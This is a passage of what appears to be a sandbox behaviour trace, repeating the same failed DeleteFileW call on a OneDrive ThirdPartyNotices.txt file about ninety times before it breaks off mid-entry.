[0197.329] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.329] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.330] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.332] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.332] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.333] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.334] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.335] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.335] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.336] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.337] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.338] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.338] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.339] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.340] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.341] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.341] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.342] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.343] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.344] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.344] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.345] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.346] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.347] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.348] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.349] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.350] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.351] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.351] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.352] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.353] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.354] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.354] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.355] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.356] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.356] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.357] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.358] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.359] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.359] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.360] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.361] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.361] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.362] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.363] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.364] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.365] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.365] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.366] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.369] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.369] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.370] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.371] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.372] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.372] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.373] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.374] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.374] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.375] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.376] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.377] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.378] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.379] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.379] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.380] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.381] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.382] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.382] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.383] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.384] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.384] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.385] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.386] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.387] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.387] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.388] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.389] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.390] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.390] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.391] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.392] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.392] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.394] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.395] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.396] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.396] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.397] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.398] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.399] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.399] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.400] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.401] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.401] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.402] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.403] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.404] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.404] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: 